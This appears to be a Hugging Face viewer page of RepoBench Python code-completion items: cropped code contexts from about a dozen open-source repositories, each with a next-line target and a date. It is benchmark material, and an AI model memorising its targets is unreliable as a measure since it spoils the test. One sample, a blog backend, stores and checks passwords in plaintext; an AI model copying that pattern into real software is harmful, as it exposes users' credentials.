Datasets:

tianyang

/

repobench_python_v1.1

like 4

WU-CVGL/BAD-NeRFstudio

badnerf/badnerf_method_config.py

from nerfstudio.configs.base_config import ViewerConfig from nerfstudio.engine.optimizers import AdamOptimizerConfig from nerfstudio.engine.schedulers import ExponentialDecaySchedulerConfig from nerfstudio.plugins.types import MethodSpecification from badnerf.cameras.badnerf_camera_optimizer import BadNerfCameraOptimizerConfig from badnerf.data.badnerf_datamanager import BadNerfDataManagerConfig from badnerf.data.badnerf_dataparser import BadNerfDataParserConfig from badnerf.engine.badnerf_trainer import BadNerfTrainerConfig from badnerf.models.badnerfacto import BadNerfactoModelConfig from badnerf.pipelines.badnerf_pipeline import BadNerfPipelineConfig

""" BAD-NeRF config. """ badnerf_nerfacto = MethodSpecification( config=BadNerfTrainerConfig( method_name="bad-nerfacto", steps_per_eval_all_images=500, steps_per_save=2000, max_num_iterations=30001, mixed_precision=False, use_grad_scaler=True,

""" BAD-NeRF config. """ badnerf_nerfacto = MethodSpecification( config=BadNerfTrainerConfig( method_name="bad-nerfacto", steps_per_eval_all_images=500, steps_per_save=2000, max_num_iterations=30001, mixed_precision=False, use_grad_scaler=True,

pipeline=BadNerfPipelineConfig(

2023-11-10 07:40:22+00:00

2k

nttcom/WASB-SBDT

src/runners/train_and_test.py

import os import os.path as osp import shutil import time import logging import hydra import numpy as np import torch from tqdm import tqdm from omegaconf import DictConfig, OmegaConf from hydra.core.hydra_config import HydraConfig from torch import nn from models import build_model from dataloaders import build_dataloader from losses import build_loss_criteria from optimizers import build_optimizer_and_scheduler from utils import save_checkpoint, set_seed, mkdir_if_missing, count_params, AverageMeter from .inference_videos import VideosInferenceRunner from .base import BaseRunner from .runner_utils import train_epoch, test_epoch

log = logging.getLogger(__name__) def update_fp1_example(epoch, model, vi_runner, fp1_fpath, ): vi_results = vi_runner.run(model=model) print(vi_results['fp1_im_list_dict']) print(fp1_fpath) fp1_im_list_dict = vi_results['fp1_im_list_dict'] with open(fp1_fpath, 'w') as f: for key, im_list in fp1_im_list_dict.items(): for path in im_list: f.write('{}\n'.format(path)) fp1_fpath_current = osp.splitext(fp1_fpath)[0] + '_{}.txt'.format(epoch) shutil.copyfile(fp1_fpath, fp1_fpath_current)

log = logging.getLogger(__name__) def update_fp1_example(epoch, model, vi_runner, fp1_fpath, ): vi_results = vi_runner.run(model=model) print(vi_results['fp1_im_list_dict']) print(fp1_fpath) fp1_im_list_dict = vi_results['fp1_im_list_dict'] with open(fp1_fpath, 'w') as f: for key, im_list in fp1_im_list_dict.items(): for path in im_list: f.write('{}\n'.format(path)) fp1_fpath_current = osp.splitext(fp1_fpath)[0] + '_{}.txt'.format(epoch) shutil.copyfile(fp1_fpath, fp1_fpath_current)

class Trainer(BaseRunner):

2023-11-15 02:11:00+00:00

2k

barkure/white-dove-backend

services/users.py

from datetime import timedelta from db import SessionLocal from models import Users, BlogSettings from services.auth_utils import create_access_token from config import GITHUB_CLIENT_ID, GITHUB_CLIENT_SECRET, ACCESS_TOKEN_EXPIRE_MINUTES import requests

"email": user.email, "GitHub_id": user.GitHub_id } else: return ["User not found"] # 更新用户 def update_user(payload: dict): user_id = payload.get("user_id") userName = payload.get("userName") password = payload.get("password") email = payload.get("email") GitHub_id = payload.get("GitHub_id") db = SessionLocal() user = db.query(Users).filter(Users.user_id == user_id).first() if user: if userName is not None: user.userName = userName if password is not None: user.password = password if email is not None: user.email = email if GitHub_id is not None: user.GitHub_id = GitHub_id db.commit() db.close() return { "update_yes": True, } else: db.close() return { "update_yes": False, } # 删除用户 def delete_user(payload: dict): user_id = payload.get("user_id") db = SessionLocal() user = db.query(Users).filter(Users.user_id == user_id).first() if user: db.delete(user) db.commit() db.close() return "User deleted" else: db.close() return "User not found" # 查询所有用户 def get_all_users(): db = SessionLocal() all_users = db.query(Users).all() db.close() user_list = [] for user in all_users: user_dict = { "user_id": user.user_id, "userName": user.userName, "email": user.email, "GitHub_id": user.GitHub_id } user_list.append(user_dict) return user_list # 登录验证 def login(payload: dict): userNameOrEmail = payload.get("userNameOrEmail") password = payload.get("password") db = SessionLocal() user = db.query(Users).filter((Users.userName == userNameOrEmail) | (Users.email == userNameOrEmail)).first() db.close() if user: if user.password == password: access_token_expires = timedelta(minutes=ACCESS_TOKEN_EXPIRE_MINUTES) access_token = create_access_token(data={"sub": user.userName}, expires_delta=access_token_expires) return { "login_yes": True, "token": access_token, "userName": user.userName, "email": user.email, "user_id": user.user_id, "GitHub_id": user.GitHub_id } else: return { "login_yes": False, "token": None, } else: return { "login_yes": False, "token": None, } # 绑定 GitHub 账号 def bind_github(GitHub_id: str, user_id: int): db = SessionLocal() user = db.query(Users).filter(Users.user_id == user_id).first() if user: user.GitHub_id = GitHub_id db.commit() db.close() return { "bind_yes": True, "GitHub_id": GitHub_id, } else: db.close() return { "bind_yes": False, } # Github OAuth def github_oauth(payload: dict): code = payload.get("code") user_id = payload.get("user_id") operation = payload.get("operation") # 根据 operation 判断是登录还是绑定 print('Code:', code, 'Operation:', operation)

# 添加用户 def create_user(payload: dict): userName = payload.get("userName") password = payload.get("password") email = payload.get("email") db = SessionLocal() new_user = Users(userName=userName, password=password, email=email) db.add(new_user) db.commit() db.close() return "User created" # 查询用户 def get_user(payload: dict): user_id = payload.get("user_id") db = SessionLocal() user = db.query(Users).filter(Users.user_id == user_id).first() db.close() if user: return { "user_id": user.user_id, "userName": user.userName, "email": user.email, "GitHub_id": user.GitHub_id } else: return ["User not found"] # 更新用户 def update_user(payload: dict): user_id = payload.get("user_id") userName = payload.get("userName") password = payload.get("password") email = payload.get("email") GitHub_id = payload.get("GitHub_id") db = SessionLocal() user = db.query(Users).filter(Users.user_id == user_id).first() if user: if userName is not None: user.userName = userName if password is not None: user.password = password if email is not None: user.email = email if GitHub_id is not None: user.GitHub_id = GitHub_id db.commit() db.close() return { "update_yes": True, } else: db.close() return { "update_yes": False, } # 删除用户 def delete_user(payload: dict): user_id = payload.get("user_id") db = SessionLocal() user = db.query(Users).filter(Users.user_id == user_id).first() if user: db.delete(user) db.commit() db.close() return "User deleted" else: db.close() return "User not found" # 查询所有用户 def get_all_users(): db = SessionLocal() all_users = db.query(Users).all() db.close() user_list = [] for user in all_users: user_dict = { "user_id": user.user_id, "userName": user.userName, "email": user.email, "GitHub_id": user.GitHub_id } user_list.append(user_dict) return user_list # 登录验证 def login(payload: dict): userNameOrEmail = payload.get("userNameOrEmail") password = payload.get("password") db = SessionLocal() user = db.query(Users).filter((Users.userName == userNameOrEmail) | (Users.email == userNameOrEmail)).first() db.close() if user: if user.password == password: access_token_expires = timedelta(minutes=ACCESS_TOKEN_EXPIRE_MINUTES) access_token = create_access_token(data={"sub": user.userName}, expires_delta=access_token_expires) return { "login_yes": True, "token": access_token, "userName": user.userName, "email": user.email, "user_id": user.user_id, "GitHub_id": user.GitHub_id } else: return { "login_yes": False, "token": None, } else: return { "login_yes": False, "token": None, } # 绑定 GitHub 账号 def bind_github(GitHub_id: str, user_id: int): db = SessionLocal() user = db.query(Users).filter(Users.user_id == user_id).first() if user: user.GitHub_id = GitHub_id db.commit() db.close() return { "bind_yes": True, "GitHub_id": GitHub_id, } else: db.close() return { "bind_yes": False, } # Github OAuth def github_oauth(payload: dict): code = payload.get("code") user_id = payload.get("user_id") operation = payload.get("operation") # 根据 operation 判断是登录还是绑定 print('Code:', code, 'Operation:', operation)

resp1 = requests.post("https://github.com/login/oauth/access_token?"+"client_id="+GITHUB_CLIENT_ID+"&client_secret="+GITHUB_CLIENT_SECRET+"&code="+code, headers={"Accept": "application/json"})

2023-11-11 04:46:58+00:00

2k

BobaZooba/xllm-demo

xllm_demo/core/registry.py

from xllm.datasets import datasets_registry from xllm.collators import collators_registry from xllm.trainers import trainers_registry from xllm.experiments import experiments_registry from xllm_demo.core.constants import DATASET_KEY, COLLATOR_KEY, TRAINER_KEY, EXPERIMENT_KEY from xllm_demo.core.dataset import AntropicDataset from xllm_demo.core.experiment import MyExperiment from xllm_demo.core.collator import LastPartCollator from xllm_demo.core.trainer import MyLMTrainer

# Copyright 2023 Boris Zubarev. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. def components_registry(): datasets_registry.add(key=DATASET_KEY, value=AntropicDataset) collators_registry.add(key=COLLATOR_KEY, value=LastPartCollator) trainers_registry.add(key=TRAINER_KEY, value=MyLMTrainer)

# Copyright 2023 Boris Zubarev. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. def components_registry(): datasets_registry.add(key=DATASET_KEY, value=AntropicDataset) collators_registry.add(key=COLLATOR_KEY, value=LastPartCollator) trainers_registry.add(key=TRAINER_KEY, value=MyLMTrainer)

experiments_registry.add(key=EXPERIMENT_KEY, value=MyExperiment)

2023-11-10 17:56:14+00:00

2k

Kiyliy/openai_speech_to_text

openai_audio.py

import pyaudio import wave import requests import json import base64 import pyautogui import threading import logging import pyperclip import os import random import time import get_api_key from threading import Lock from send_to_openai import send_to_openai_api , paste_text

logging.basicConfig(level=logging.INFO) # 确保在模块加载时调用load_config get_api_key.load_config() # API和URL变量 api_key = get_api_key.get_api_key() url = get_api_key.get_api_url() # 录音参数 chunk = 1024 format = pyaudio.paInt16 channels = 1 rate = 44100 # 录音控制变量 is_recording = False frames = [] frames_lock = Lock() def start_recording(): global is_recording with frames_lock: if not is_recording: is_recording = True frames.clear() threading.Thread(target=record).start() else: logging.info("录音已在进行中。") def stop_recording(): global is_recording with frames_lock: if is_recording: is_recording = False else: logging.info("录音已停止。") def record(): global frames logging.info("录音开始...") p = pyaudio.PyAudio() stream = p.open(format=format, channels=channels, rate=rate, input=True, frames_per_buffer=chunk) try: while is_recording: data = stream.read(chunk) with frames_lock: frames.append(data) except Exception as e: logging.error(f"录音过程中出错: {e}") finally: stream.stop_stream() stream.close() p.terminate() logging.info("录音结束...") save_recording(frames, p) def save_recording(frames, audio): wf = wave.open('temp_audio.wav', 'wb') wf.setnchannels(channels) wf.setsampwidth(audio.get_sample_size(format)) wf.setframerate(rate) wf.writeframes(b''.join(frames)) wf.close() api_key = get_api_key.get_api_key() transcription= send_to_openai_api(api_key,url,'temp_audio.wav')

logging.basicConfig(level=logging.INFO) # 确保在模块加载时调用load_config get_api_key.load_config() # API和URL变量 api_key = get_api_key.get_api_key() url = get_api_key.get_api_url() # 录音参数 chunk = 1024 format = pyaudio.paInt16 channels = 1 rate = 44100 # 录音控制变量 is_recording = False frames = [] frames_lock = Lock() def start_recording(): global is_recording with frames_lock: if not is_recording: is_recording = True frames.clear() threading.Thread(target=record).start() else: logging.info("录音已在进行中。") def stop_recording(): global is_recording with frames_lock: if is_recording: is_recording = False else: logging.info("录音已停止。") def record(): global frames logging.info("录音开始...") p = pyaudio.PyAudio() stream = p.open(format=format, channels=channels, rate=rate, input=True, frames_per_buffer=chunk) try: while is_recording: data = stream.read(chunk) with frames_lock: frames.append(data) except Exception as e: logging.error(f"录音过程中出错: {e}") finally: stream.stop_stream() stream.close() p.terminate() logging.info("录音结束...") save_recording(frames, p) def save_recording(frames, audio): wf = wave.open('temp_audio.wav', 'wb') wf.setnchannels(channels) wf.setsampwidth(audio.get_sample_size(format)) wf.setframerate(rate) wf.writeframes(b''.join(frames)) wf.close() api_key = get_api_key.get_api_key() transcription= send_to_openai_api(api_key,url,'temp_audio.wav')

paste_text(transcription)

2023-11-11 09:28:31+00:00

2k

globality-corp/deboiler

deboiler/models/page.py

import re from dataclasses import dataclass from io import StringIO from logging import Logger from typing import Optional, Union from lxml.etree import HTMLParser, _Element, parse as parse_html from deboiler.logger import logger from deboiler.lxml_query import get_candidate_nodes from deboiler.models.lxml_node import LxmlTree

EMPTY_HTML = "<html></html>" @dataclass class RawPage: """ A crawled page with raw (string or binary) content. """ url: str content: Union[bytes, str] def __repr__(self): return f"RawPage(url={self.url}, content={self.content[:20]}...)" def parse(self): return ParsedPage(self.url, self.content) @logger class ParsedPage: """ A parsed page. It stores the parsed version (as an LxmlTree) of the given raw content. nodes attribute is a cache of string representations for all the candidate nodes (subtrees) in this page. """ logger: Logger parser = HTMLParser(remove_comments=True) def __init__(self, url: str, content: Union[bytes, str]): self.url = url self.content: LxmlTree = self.parse(content) self.nodes: set[str] = { # Set of normalized representations for all candidate nodes in the LxmlTree node.normalized_representation()

EMPTY_HTML = "<html></html>" @dataclass class RawPage: """ A crawled page with raw (string or binary) content. """ url: str content: Union[bytes, str] def __repr__(self): return f"RawPage(url={self.url}, content={self.content[:20]}...)" def parse(self): return ParsedPage(self.url, self.content) @logger class ParsedPage: """ A parsed page. It stores the parsed version (as an LxmlTree) of the given raw content. nodes attribute is a cache of string representations for all the candidate nodes (subtrees) in this page. """ logger: Logger parser = HTMLParser(remove_comments=True) def __init__(self, url: str, content: Union[bytes, str]): self.url = url self.content: LxmlTree = self.parse(content) self.nodes: set[str] = { # Set of normalized representations for all candidate nodes in the LxmlTree node.normalized_representation()

for node in get_candidate_nodes(self.content)

2023-11-17 23:11:45+00:00

2k

solovieff/kibernikto

kibernikto/plugins/_weblink_summarizator.py

import logging import re from kibernikto.plugins._img_summarizator import _is_image from openai.types.chat import ChatCompletion from kibernikto.constants import OPENAI_MAX_TOKENS from kibernikto.utils.text import get_website_as_text, get_website_html from ._kibernikto_plugin import KiberniktoPlugin, KiberniktoPluginException

class WeblinkSummaryPlugin(KiberniktoPlugin): """ This plugin is used to get video transcript and then get text summary from it. """ def __init__(self, model: str, base_url: str, api_key: str, summarization_request: str): super().__init__(model=model, base_url=base_url, api_key=api_key, post_process_reply=False, store_reply=True, base_message=summarization_request) async def run_for_message(self, message: str): try: result = await self._run(message) return result except Exception as error: logging.error(f'failed to get webpage data from {message}: {str(error)}', ) raise KiberniktoPluginException(plugin_name=self.__class__.__name__, error_message='failed to get webpage data') async def _run(self, message: str): web_link, other_text = _extract_link(message) if web_link is None: return None

class WeblinkSummaryPlugin(KiberniktoPlugin): """ This plugin is used to get video transcript and then get text summary from it. """ def __init__(self, model: str, base_url: str, api_key: str, summarization_request: str): super().__init__(model=model, base_url=base_url, api_key=api_key, post_process_reply=False, store_reply=True, base_message=summarization_request) async def run_for_message(self, message: str): try: result = await self._run(message) return result except Exception as error: logging.error(f'failed to get webpage data from {message}: {str(error)}', ) raise KiberniktoPluginException(plugin_name=self.__class__.__name__, error_message='failed to get webpage data') async def _run(self, message: str): web_link, other_text = _extract_link(message) if web_link is None: return None

if _is_image(web_link):

2023-11-11 18:39:28+00:00

2k

leeyuentuen/tibber_ev

custom_components/tibber_ev/sensor.py

import logging from typing import Final from dataclasses import dataclass from datetime import timedelta from .const import MAX_CHARGE_RANGE from .entity import TibberEVEntity from homeassistant.helpers.typing import StateType from homeassistant import const from homeassistant.config_entries import ConfigEntry from homeassistant.core import HomeAssistant, callback from homeassistant.components.sensor import ( SensorEntity, SensorEntityDescription, SensorStateClass, SensorDeviceClass ) from homeassistant.helpers.entity_platform import AddEntitiesCallback from homeassistant.helpers import entity_platform from . import DOMAIN as TIBBER_EV_DOMAIN from .tibber import Tibber, TibberApi from homeassistant.const import ( PERCENTAGE, )

path="battery", subpath="percent", unit=PERCENTAGE, round_digits=None, state_class=SensorStateClass.MEASUREMENT, device_class=SensorDeviceClass.BATTERY, ), TibberSensorDescription( key="battery_charge_limit", name="battery charge limit", icon="mdi:battery-plus-variant", path="battery", subpath="chargeLimit", unit=PERCENTAGE, round_digits=None, state_class=SensorStateClass.TOTAL, device_class=SensorDeviceClass.BATTERY, ), TibberSensorDescription( key="last_seen", name="last seen", icon="mdi:eye", path="lastSeen", subpath=None, unit=None, round_digits=None, state_class=SensorStateClass.MEASUREMENT, device_class=SensorDeviceClass.TIMESTAMP, ), TibberSensorDescription( key="last_seen_text", name="last seen text", icon="mdi:eye", path="lastSeenText", subpath=None, unit=None, round_digits=None, ), TibberSensorDescription( key="is_charging", name="is charging", icon="mdi:battery-charging", path="battery", subpath="isCharging", unit=None, round_digits=None, ), TibberSensorDescription( key="shortName", name="shortname", icon="mdi:rename-outline", path="shortName", subpath=None, unit=None, round_digits=None, ), TibberSensorDescription( key="full_name", name="full name", icon="mdi:car", path="name", subpath=None, unit=None, round_digits=None, ), TibberSensorDescription( key="is_alive", name="Is alive", icon="mdi:shield-account", path="isAlive", subpath=None, unit=None, round_digits=None, ), TibberSensorDescription( key="schedule", name="schedule", icon="mdi:battery-clock", path="schedule", subpath=None, unit=None, round_digits=None, ), TibberSensorDescription( key="id", name="id", icon="mdi:car", path="id", subpath=None, unit=None, round_digits=None, ), TibberSensorDescription( key="range", name="Range", icon="mdi:map-marker-distance", path=None, subpath=None, unit="km", round_digits=0, state_class=SensorStateClass.MEASUREMENT, device_class=SensorDeviceClass.DISTANCE, ), ) async def async_setup_platform( hass: HomeAssistant, config: ConfigEntry, async_add_entities: AddEntitiesCallback, discovery_info=None): pass async def async_setup_entry( hass: HomeAssistant, entry: ConfigEntry, async_add_entities: AddEntitiesCallback): """Set up using config_entry.""" # get the device

_LOGGER = logging.getLogger(__name__) SCAN_INTERVAL = timedelta(seconds=15) @dataclass class TibberSensorDescriptionMixin: """Define an entity description mixin for sensor entities.""" path: str subpath: str | None unit: str round_digits: int | None unit: str | None @dataclass class TibberSensorDescription( SensorEntityDescription, TibberSensorDescriptionMixin ): """Class to describe an Tibber sensor entity.""" TIBBER_SENSOR_TYPES: Final[tuple[TibberSensorDescription, ...]] = ( TibberSensorDescription( key="battery_soc", name="battery soc", path="battery", subpath="percent", unit=PERCENTAGE, round_digits=None, state_class=SensorStateClass.MEASUREMENT, device_class=SensorDeviceClass.BATTERY, ), TibberSensorDescription( key="battery_charge_limit", name="battery charge limit", icon="mdi:battery-plus-variant", path="battery", subpath="chargeLimit", unit=PERCENTAGE, round_digits=None, state_class=SensorStateClass.TOTAL, device_class=SensorDeviceClass.BATTERY, ), TibberSensorDescription( key="last_seen", name="last seen", icon="mdi:eye", path="lastSeen", subpath=None, unit=None, round_digits=None, state_class=SensorStateClass.MEASUREMENT, device_class=SensorDeviceClass.TIMESTAMP, ), TibberSensorDescription( key="last_seen_text", name="last seen text", icon="mdi:eye", path="lastSeenText", subpath=None, unit=None, round_digits=None, ), TibberSensorDescription( key="is_charging", name="is charging", icon="mdi:battery-charging", path="battery", subpath="isCharging", unit=None, round_digits=None, ), TibberSensorDescription( key="shortName", name="shortname", icon="mdi:rename-outline", path="shortName", subpath=None, unit=None, round_digits=None, ), TibberSensorDescription( key="full_name", name="full name", icon="mdi:car", path="name", subpath=None, unit=None, round_digits=None, ), TibberSensorDescription( key="is_alive", name="Is alive", icon="mdi:shield-account", path="isAlive", subpath=None, unit=None, round_digits=None, ), TibberSensorDescription( key="schedule", name="schedule", icon="mdi:battery-clock", path="schedule", subpath=None, unit=None, round_digits=None, ), TibberSensorDescription( key="id", name="id", icon="mdi:car", path="id", subpath=None, unit=None, round_digits=None, ), TibberSensorDescription( key="range", name="Range", icon="mdi:map-marker-distance", path=None, subpath=None, unit="km", round_digits=0, state_class=SensorStateClass.MEASUREMENT, device_class=SensorDeviceClass.DISTANCE, ), ) async def async_setup_platform( hass: HomeAssistant, config: ConfigEntry, async_add_entities: AddEntitiesCallback, discovery_info=None): pass async def async_setup_entry( hass: HomeAssistant, entry: ConfigEntry, async_add_entities: AddEntitiesCallback): """Set up using config_entry.""" # get the device

tibberApi: TibberApi

2023-11-14 18:59:47+00:00

2k

bytedance/LapNet

lapnet/configs/benzene_dimer/benzene_dimer.py

from lapnet import base_config from lapnet.utils import system from lapnet.utils.system import Atom

# Copyright 2023 Bytedance Ltd. and/or its affiliate # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Settings in a a config files are loaded by executing the the get_config # function. # Geometry of Benzene sigle molecule is from https://pubs.acs.org/doi/10.1021/acs.jpclett.0c02621, # which is at the MP2/6-31G* level. def get_config(input_str): ''' Return config for benzene dimer with different bond lenth. Using input_str to set the bond length, e.g. --config lapnet/configs/benzene_dimer/benzene_dimer.py:4.95 ''' r_str= input_str r = float(r_str) # Get default options.

# Copyright 2023 Bytedance Ltd. and/or its affiliate # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Settings in a a config files are loaded by executing the the get_config # function. # Geometry of Benzene sigle molecule is from https://pubs.acs.org/doi/10.1021/acs.jpclett.0c02621, # which is at the MP2/6-31G* level. def get_config(input_str): ''' Return config for benzene dimer with different bond lenth. Using input_str to set the bond length, e.g. --config lapnet/configs/benzene_dimer/benzene_dimer.py:4.95 ''' r_str= input_str r = float(r_str) # Get default options.

cfg = base_config.default()

2023-11-13 08:19:53+00:00

2k

svetlovtech/gptize

gptize/gptizer.py

import logging import os import pathspec from .models import File, Project from .settings import Settings from .output_builder import OutputBuilder

class GPTizer: def __init__(self): self._project = None self._gitignore = None def process_directory(self, root_path: str): """ Processes all the files within a given directory. This method initializes the Project object for the specified directory, loads the .gitignore patterns, and populates the project with files that are not ignored by .gitignore. The method traverses through the directory recursively and adds all relevant files to the project's file list, ensuring that binary files and files specified in .gitignore are not included. Parameters: root_path (str): The path to the root of the directory to be processed. Raises: FileNotFoundError: If the specified directory does not exist. Exception: For any other issues encountered during the directory processing. """ project_name = os.path.basename(root_path) self._project = Project(project_name, root_path) self._gitignore = self.load_gitignore(root_path) self.populate_files() def process_file(self, file_path: str): """ Processes a single file. This method creates a Project object for the file, treating the file as an individual project. It bypasses .gitignore processing, as it is assumed that the specific file is intentionally selected for processing. The method creates a File object for the specified file, reads its content, and adds it to the project's file list. It handles binary and text files accordingly. Parameters: file_path (str): The path to the file to be processed. This includes both the directory path and file name. Raises: FileNotFoundError: If the specified file does not exist. IOError: If there is an issue reading the file. Exception: For any other unexpected issues encountered during file processing. """ root_path, file_name = os.path.split(file_path) project_name = os.path.basename(root_path) if root_path else 'SingleFileProject' self._project = Project(project_name, root_path or '.') self._gitignore = pathspec.PathSpec.from_lines('gitwildmatch', [])

class GPTizer: def __init__(self): self._project = None self._gitignore = None def process_directory(self, root_path: str): """ Processes all the files within a given directory. This method initializes the Project object for the specified directory, loads the .gitignore patterns, and populates the project with files that are not ignored by .gitignore. The method traverses through the directory recursively and adds all relevant files to the project's file list, ensuring that binary files and files specified in .gitignore are not included. Parameters: root_path (str): The path to the root of the directory to be processed. Raises: FileNotFoundError: If the specified directory does not exist. Exception: For any other issues encountered during the directory processing. """ project_name = os.path.basename(root_path) self._project = Project(project_name, root_path) self._gitignore = self.load_gitignore(root_path) self.populate_files() def process_file(self, file_path: str): """ Processes a single file. This method creates a Project object for the file, treating the file as an individual project. It bypasses .gitignore processing, as it is assumed that the specific file is intentionally selected for processing. The method creates a File object for the specified file, reads its content, and adds it to the project's file list. It handles binary and text files accordingly. Parameters: file_path (str): The path to the file to be processed. This includes both the directory path and file name. Raises: FileNotFoundError: If the specified file does not exist. IOError: If there is an issue reading the file. Exception: For any other unexpected issues encountered during file processing. """ root_path, file_name = os.path.split(file_path) project_name = os.path.basename(root_path) if root_path else 'SingleFileProject' self._project = Project(project_name, root_path or '.') self._gitignore = pathspec.PathSpec.from_lines('gitwildmatch', [])

file_obj = File(file_name, file_path)

2023-11-11 20:59:01+00:00

2k

civrealm/civrealm

src/civrealm/envs/freeciv_wrapper/tensor_base_wrapper.py

import numpy as np from civrealm.envs import FreecivBaseEnv from civrealm.envs.freeciv_wrapper.config import default_tensor_config from .core import Wrapper from .utils import onehotifier_maker

class TensorBase(Wrapper): """ A basic wrapper that deals with config loading and entity id recording, required by all tensor-related wrappers. Parameters ---------- env: FreecivBaseEnv config: dict tensor env configuration Attributes --------- config: dict A dict that specifies all configurations related to tensor wrapper. my_player_id: int My player id. unit_ids: list A sorted list of my unit ids. city_ids: list A sorted list of my city ids. others_unit_ids: list A sorted list of others unit ids. others_city_ids: list A sorted list of others city ids. dipl_ids : list A list of others player ids. units : dict ruleset information about units. unit_types :list A list of all unit types. unit_costs : list A list of int indicating unit costs. improvements : dict Ruleset information about city improvements. impr_costs :list A list of int indicating city improvements costs. """ def __init__(self, env: FreecivBaseEnv, config: dict = default_tensor_config): self.config = config self.my_player_id = -1 # mutable ids self.unit_ids = [] self.city_ids = [] self.others_unit_ids = [] self.others_city_ids = [] self.dipl_ids = [] # ruleset self.units = {} self.unit_types = [] self.unit_costs = [] self.improvements = {} self.impr_costs = [] super().__init__(env) def update_sequence_ids(self, observation): """ Use city, unit and dipl information in observation to update ids. """ self.unit_ids = sorted( list( k for k in observation.get("unit", {}).keys() if observation["unit"][k]["owner"] == self.my_player_id ) ) self.others_unit_ids = sorted( list( k for k in observation.get("unit", {}).keys() if observation["unit"][k]["owner"] != self.my_player_id ) ) self.city_ids = sorted( list( k for k in observation.get("city", {}).keys() if observation["city"][k]["owner"] == self.my_player_id ) ) self.others_city_ids = sorted( list( k for k in observation.get("city", {}).keys() if observation["city"][k]["owner"] != self.my_player_id ) ) self.dipl_ids = [ player for player in sorted(observation.get("dipl", {}).keys()) if player != self.my_player_id ] def update_config(self): """ Update config using ruleset information at the start of the turn. """ self.units = self.unwrapped.civ_controller.rule_ctrl.unit_types self.unit_types = [self.units[i]["name"] for i in range(len(self.units))] self.unit_costs = [self.units[i]["build_cost"] for i in range(len(self.units))] self.improvements = self.unwrapped.civ_controller.rule_ctrl.improvements self.impr_costs = [ self.improvements[i]["build_cost"] for i in range(len(self.improvements)) ]

class TensorBase(Wrapper): """ A basic wrapper that deals with config loading and entity id recording, required by all tensor-related wrappers. Parameters ---------- env: FreecivBaseEnv config: dict tensor env configuration Attributes --------- config: dict A dict that specifies all configurations related to tensor wrapper. my_player_id: int My player id. unit_ids: list A sorted list of my unit ids. city_ids: list A sorted list of my city ids. others_unit_ids: list A sorted list of others unit ids. others_city_ids: list A sorted list of others city ids. dipl_ids : list A list of others player ids. units : dict ruleset information about units. unit_types :list A list of all unit types. unit_costs : list A list of int indicating unit costs. improvements : dict Ruleset information about city improvements. impr_costs :list A list of int indicating city improvements costs. """ def __init__(self, env: FreecivBaseEnv, config: dict = default_tensor_config): self.config = config self.my_player_id = -1 # mutable ids self.unit_ids = [] self.city_ids = [] self.others_unit_ids = [] self.others_city_ids = [] self.dipl_ids = [] # ruleset self.units = {} self.unit_types = [] self.unit_costs = [] self.improvements = {} self.impr_costs = [] super().__init__(env) def update_sequence_ids(self, observation): """ Use city, unit and dipl information in observation to update ids. """ self.unit_ids = sorted( list( k for k in observation.get("unit", {}).keys() if observation["unit"][k]["owner"] == self.my_player_id ) ) self.others_unit_ids = sorted( list( k for k in observation.get("unit", {}).keys() if observation["unit"][k]["owner"] != self.my_player_id ) ) self.city_ids = sorted( list( k for k in observation.get("city", {}).keys() if observation["city"][k]["owner"] == self.my_player_id ) ) self.others_city_ids = sorted( list( k for k in observation.get("city", {}).keys() if observation["city"][k]["owner"] != self.my_player_id ) ) self.dipl_ids = [ player for player in sorted(observation.get("dipl", {}).keys()) if player != self.my_player_id ] def update_config(self): """ Update config using ruleset information at the start of the turn. """ self.units = self.unwrapped.civ_controller.rule_ctrl.unit_types self.unit_types = [self.units[i]["name"] for i in range(len(self.units))] self.unit_costs = [self.units[i]["build_cost"] for i in range(len(self.units))] self.improvements = self.unwrapped.civ_controller.rule_ctrl.improvements self.impr_costs = [ self.improvements[i]["build_cost"] for i in range(len(self.improvements)) ]

self.config["obs_ops"]["unit"]["type_rule_name"] = onehotifier_maker(

2023-11-18 19:35:50+00:00

2k

Sheppsu/discord-ext-listening

discord/ext/listening/sink.py

import asyncio import logging import os import queue import struct import subprocess import threading import wave from collections import defaultdict from dataclasses import dataclass from time import monotonic from typing import TYPE_CHECKING, Any, BinaryIO, Callable, Dict, List, Optional, Sequence, Tuple, Union from discord.errors import ClientException from discord.object import Object from discord.player import CREATE_NO_WINDOW from .enums import RTCPMessageType from .opus import Decoder as OpusDecoder from discord.member import Member

